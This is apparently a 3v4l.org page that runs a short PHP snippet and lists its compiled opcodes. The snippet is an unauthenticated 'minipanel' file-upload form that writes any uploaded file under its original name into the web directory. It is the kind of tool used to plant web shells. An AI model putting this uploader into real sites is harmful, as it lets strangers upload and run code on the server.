3v4l.org

run code in 300+ PHP versions simultaneously
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> <?php $uploaddir = ""; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (isset($_FILES['userfile']['name'])) { if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "The file ". basename($_FILES['userfile']['name']) ." has been uploaded"; } else { echo "There was an error uploading the file. please try again!"; } } ?> </form> </center></td> </tr> </table> </a>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 33
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 32
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 33
Branch analysis from position: 33
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 33
filename:       /in/qEpjI
function name:  (null)
number of ops:  35
compiled vars:  !0 = $uploaddir, !1 = $uploadfile
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                     '%3Chead%3E%0A%3Cstyle%3E%0A%3C%21--%0Ap+%7BMARGIN-TOP%3A+0px%3B+MARGIN-BOTTOM%3A+0px%3B+LINE-HEIGHT%3A+150%25%7D--%3E%0A%3C%2Fstyle%3E%0A%3C%2Fhead%3E%0A%0A%3Ctable+style%3D%22BORDER-COLLAPSE%3A+collapse%22+cellspacing%3D%220%22+bordercolordark%3D%22%2366%22+cellpadding%3D%225%22+height%3D%221%22+width%3D%22100%25%22+bgcolor%3D%22black%22+bordercolorlight%3D%22%23c0c0c0%22+border%3D%221%22%3E%0A++++%3Ctr%3E%0A++++++++%3Ca+bookmark%3D%22minipanel%22+style%3D%22font-weight%3A+normal%3B+color%3A+%23009900%3B+font-family%3A+verdana%3B+text-decoration%3A+none%22%3E%0A++++++++%3Ctd+width%3D%2250%25%22+height%3D%221%22+valign%3D%22top%22+style%3D%22font-family%3A+verdana%3B+color%3A+%23d9d9d9%3B+font-size%3A+11px%22%3E%0A++++++++%3Ccenter%3EUpload%3Cform+method%3D%22POST%22+enctype%3D%22multipart%2Fform-data%22%3E%0A++++++++++++%3Cinput+type%3D%22hidden%22+name%3D%22act%22+value%3D%22upload%22+style%3D%22font-size%3A+8pt%3B+color%3A+white%3B+font-family%3A+Tahoma%3B+border%3A+1+solid+%2366%3B+background-color%3A+%23009900%22%3E%0A++++++++++++%3Cinput+type%3D%22file%22+name%3D%22userfile%22+style%3D%22font-size%3A+8pt%3B+color%3A+white%3B+font-family%3A+Tahoma%3B+border%3A+1+solid+%2366%3B+background-color%3A+%23009900%22%3E%3Cinput+type%3D%22hidden%22+name%3D%22miniform%22+value%3D%221%22+style%3D%22font-size%3A+8pt%3B+color%3A+white%3B+font-family%3A+Tahoma%3B+border%3A+1+solid+%2366%3B+background-color%3A+%23009900%22%3E%0A++++++++++++%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Upload%22+style%3D%22font-size%3A+8pt%3B+color%3A+white%3B+font-family%3A+Tahoma%3B+border%3A+1+solid+%2366%3B+background-color%3A+%23009900%22%3E%3Cbr%3E%3Cbr%3E%0A++++++++++++'
   17     1        ASSIGN                                                   !0, ''
   18     2        INIT_FCALL                                               'basename'
          3        FETCH_R                      global              ~3      '_FILES'
          4        FETCH_DIM_R                                      ~4      ~3, 'userfile'
          5        FETCH_DIM_R                                      ~5      ~4, 'name'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8        CONCAT                                           ~7      !0, $6
          9        ASSIGN                                                   !1, ~7
   20    10        FETCH_IS                                         ~9      '_FILES'
         11        FETCH_DIM_IS                                     ~10     ~9, 'userfile'
         12        ISSET_ISEMPTY_DIM_OBJ                         0          ~10, 'name'
         13      > JMPZ                                                     ~11, ->33
   21    14    >   INIT_FCALL                                               'move_uploaded_file'
         15        FETCH_R                      global              ~12     '_FILES'
         16        FETCH_DIM_R                                      ~13     ~12, 'userfile'
         17        FETCH_DIM_R                                      ~14     ~13, 'tmp_name'
         18        SEND_VAL                                                 ~14
         19        SEND_VAR                                                 !1
         20        DO_ICALL                                         $15     
         21      > JMPZ                                                     $15, ->32
   22    22    >   INIT_FCALL                                               'basename'
         23        FETCH_R                      global              ~16     '_FILES'
         24        FETCH_DIM_R                                      ~17     ~16, 'userfile'
         25        FETCH_DIM_R                                      ~18     ~17, 'name'
         26        SEND_VAL                                                 ~18
         27        DO_ICALL                                         $19     
         28        CONCAT                                           ~20     'The+file+', $19
         29        CONCAT                                           ~21     ~20, '+has+been+uploaded'
         30        ECHO                                                     ~21
         31      > JMP                                                      ->33
   24    32    >   ECHO                                                     'There+was+an+error+uploading+the+file.+please+try+again%21'
   28    33    >   ECHO                                                     '++++++++%3C%2Fform%3E%0A++++++++%3C%2Fcenter%3E%3C%2Ftd%3E%0A++++%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3C%2Fa%3E'
   32    34      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
164.61 ms | 1400 KiB | 17 Q